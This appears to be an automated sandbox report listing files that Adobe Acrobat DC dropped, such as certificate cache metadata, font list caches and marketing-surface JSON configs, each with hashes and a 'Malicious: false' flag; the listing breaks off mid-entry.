C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7647458239154146
Encrypted:	false
SSDEEP:	3:kkFklESmttfllXlE/HT8kHs7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKdSieT8IaVNMa8RdWBwRd
MD5:	1AAF52B73AB189AF018D56C1657061CD
SHA1:	66A862081581ED3127E45BCA559EA19FE11714F6
SHA-256:	D177083D29F473FEF0F5860B187EB2D7670B41FBE228EBD556DAD80C195A38C1
SHA-512:	0A632B427D68B9186E94B3D2585B86811F8CE77C05CA924D0295238BEDC3C303E90C8BC99573FE058912A245D85A4BC16EA1D26D67B2D9DF5FED0B4E8A1CC6E9
Malicious:	false
Preview:	p...... .........\.Nfc..(....................................................... ..........W....bB..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.220782461797862
Encrypted:	false
SSDEEP:	6:kKPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:3iDImsLNkPlE99SNxAhUe/3
MD5:	CECBC67C5BB2DAFDEA15B1E9928EF5E3
SHA1:	A413A160CCB2C65114F1DA336819FFA2A3E6529D
SHA-256:	E94DF4190E7C552587AE22DFA28C463239C2BA89F87252CABAAEF62D12D945D7
SHA-512:	4F91507AEB31F4876342D13DEBC86591984960DDE085291375224AA8B6FD2BCA94B7A80C0773EE9428DBEDB2A95E9B7B501F9976FF76027362B4B9393F315ACA
Malicious:	false
Preview:	p...... ........{B"afc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8092

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8092

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.327410874935054
Encrypted:	false
SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJM3g98kUwPeUkwRe9:YvXKXHtNf2vR/ZwHAwGMbLUkee9
MD5:	32A87508D1A95E8D74C5CA04673B5904
SHA1:	0F144095C7F61E3CB762DF679B29C4C4A7349E42
SHA-256:	AF9E98B0EB91A6BF1C03AFD542764D5A2A183DF2E577729D529D43309512678C
SHA-512:	A058C6BBB41BFD28ECE5CDE2473D4ACEF9404F92F63E86B15A8A9577F55DA471A17C3B1A45560EF6AA7FD930231E2171307030F20AE58C9419F602251F918FA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.262291861567199
Encrypted:	false
SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJfBoTfXpnrPeUkwRe9:YvXKXHtNf2vR/ZwHAwGWTfXcUkee9
MD5:	25332080470568837CC76B992E49967A
SHA1:	1402B286BB2ADD2A0E1AB6C8D7D6FE1782D293D8
SHA-256:	F51D3C64A601874D262C8BF9DBA62A19F64BB11DECD24FD858341E60B4BD06AE
SHA-512:	B6864CBC32D9947AD4328F3B0B5D68563ADB60BBC705EAFD1E37A5A09DBAA1A22EAFF3E62827404FF98E8E85F81D8F610CF8ED784D2D1086CE064D9F03177772
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.241286896962275
Encrypted:	false
SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJfBD2G6UpnrPeUkwRe9:YvXKXHtNf2vR/ZwHAwGR22cUkee9
MD5:	3D4D0C38EA0FC40568143403310D56DB
SHA1:	1F5016C239F35A66C0CF42A0FE9898FD9BE7E671
SHA-256:	9BBC46F73F4461CA66FE5FA4B535DF35FE7A73B6F9ABB97FE627DAC52EC3B44B
SHA-512:	0A0816B795610DC969A2219EBF2D6D4DCD7E6E0F79AB04083340965C65BF16D5A3ECD5F74ACF849313FAD4AE6C7D7FE9A03A39B74FF36A98627C2F67F8F630C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.303097929852905
Encrypted:	false
SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJfPmwrPeUkwRe9:YvXKXHtNf2vR/ZwHAwGH56Ukee9
MD5:	9D9274FD28BEEE5AC1501E30C2F9AC1F
SHA1:	B950D2A15844C94DA86590DCF2FA97C40C2B5DA8
SHA-256:	266F5FC3C935463ADE78ED5B4E2DDC26F33C6A2AC8AEF583EBFB2D6459C0BDA1
SHA-512:	4CC5FA7896A534D9C93B55FA9CE42FDEAE85B94F7D83E0241515D37C92714C2850E3582C48A84EB1414A3C6CEE1A55F71C9C1481226851D6B766C7DE10071AEE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683005986793596
Encrypted:	false
SSDEEP:	24:Yv6XNl2JhhpLgE9cQx8LennAvzBvkn0RCmK8czOCCSa:Yv7Jhhhgy6SAFv5Ah8cv/a
MD5:	3A37A0D090E1705A20E93A7062F28173
SHA1:	9977716D0ED2DCE299280C60B0F93DDF9C20F258
SHA-256:	E6862C24BAEF8D4CE4D62302BF01C3BEE0DA62A1281527DE29583126A70F96F0
SHA-512:	1D17DE3F3CAE86D9F3ADFD34FEEDF83CA5605D5E2C12A5DBAA33B273CB60A60607B039D731EEB9E31D1554C8926412CF9354109EA8F4C38E2EE0F3ED683870FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2490033751187015
Encrypted:	false
SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJf8dPeUkwRe9:YvXKXHtNf2vR/ZwHAwGU8Ukee9
MD5:	258626BFC1C3E6CD940C6B7C00FE1D17
SHA1:	EE11B66D618760BF29D5174BF5E497BD7E798B71
SHA-256:	A7C64A5CDF7E5D16601E22817CB2055FD5F5AE6B46D35BCB4866288471440EA8
SHA-512:	1EB54E9FD6755FF1928635D997D4618CECB446EF1CDFEBD88625D6988F7AB2674A5CE890569A9157F9C873889298500FC16E183067CE6B242A67C44C7E459997
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.248206280687068
Encrypted:	false
SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJfQ1rPeUkwRe9:YvXKXHtNf2vR/ZwHAwGY16Ukee9
MD5:	DB0B5B389FB345353BF77F119AB1C023
SHA1:	0FC62FD08C2CF8F1AB85D3ED3CB22D7F41D53DFA
SHA-256:	A1A1080260429DBA21C8BBF65F07F3CCACD6C4D29FFE95D2C776607738007018
SHA-512:	99E3E17C1783A5F93869B26BA82698B8AA05BC58778ABE7710F79CF7FCEBB5AE54EA50198678C5EF5BB259ABFDA23A39929F0C4641FEB1C2EBD8EE436B3E123F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.261419422317277
Encrypted:	false
SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJfFldPeUkwRe9:YvXKXHtNf2vR/ZwHAwGz8Ukee9
MD5:	B24B99965E89439FAB8D17A761994499
SHA1:	46815E7B87FB912FB6CEABC5A9DCB5E539DD0B24
SHA-256:	0EF2AB16E508975C211A6350746B2EA1C10D830B535B03B20F8AA62E88C816CD
SHA-512:	931E15F15BEA78E77E9A6CE89AEF7B1E3FF2C8AE4595DEA8F19E905942419E8BF2CD4CEFB0EB2942E2698D88561DBB5F7C34B0419C0090B63BB006B301E73B1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.277298546109654
Encrypted:	false
SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJfzdPeUkwRe9:YvXKXHtNf2vR/ZwHAwGb8Ukee9
MD5:	7F8CE17406491903AA2378C4BBDB7134
SHA1:	666C12AC7C348DCBB7C3822649E8DFF9A2E2AA5A
SHA-256:	BDF29EEFA13C6AF6A1E212616691D4D89E1C8F3D96F389AC5A87B7DF526038C8
SHA-512:	A7560F8137FF61F47347368D6B711E278804596381DBEEBFDDE3161899154601C66AC82EBDAA8910B9D4CEE8B70CF8B48830E970DB294E3CDB5FDDAC95E55033
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.257346443056031
Encrypted:	false
SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJfYdPeUkwRe9:YvXKXHtNf2vR/ZwHAwGg8Ukee9
MD5:	41A8620745F39B522A488FA9D6CCFD94
SHA1:	C4FC00EF38FD7E0D911AF74D824C83233C00FA7E
SHA-256:	10B781F552A1D8B347AB00401E6D990157475CA23369A1E93AEC8F25A90E1B09
SHA-512:	9641B93A6432028FA1CCEE0A6BAC7197DF47A4F6BF272F3D464C1039ED0DA67E295B8D8BDF721F1BE47A32483D24669E75331CCD0CC34B1D524E9614EFFBA3DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.242944863902602
Encrypted:	false
SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJf+dPeUkwRe9:YvXKXHtNf2vR/ZwHAwG28Ukee9
MD5:	538C410D6242C65EAED8EE2FFE0763FE
SHA1:	3A5236B4B6D4DFCD836114C1A02AB02ABB536D7D
SHA-256:	35B50AF24A45EE0A39DAF023B6DC5EABD79FCEA1E57208FDB4F131F123056F3A
SHA-512:	31DE47B844EE550900B4E9DE17E68D2639DF4A624D79A259A89DB04739A64EF37E7FFE6200385E8F07580F362C458C692BA19DB2A4B8B056924BF56D679916F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.241186692324011
Encrypted:	false
SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJfbPtdPeUkwRe9:YvXKXHtNf2vR/ZwHAwGDV8Ukee9
MD5:	36A9619F9A023FB05D9449F1E27F9664
SHA1:	0BDEDA4460EDFC9A3193332BA780D7C747263532
SHA-256:	4147E6CD830504D738B1992D9DA407C6477D73919D48A08860971B847DCB7F73
SHA-512:	89ACCDE3B029D7418166EB5F08A3312559E5A48821678B295CA4281835D4E9DDC9E518954084473A32D7E5B167FEEA21F10F60A5CF7FD0F02DAD5F14C3B508D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.239935118227184
Encrypted:	false
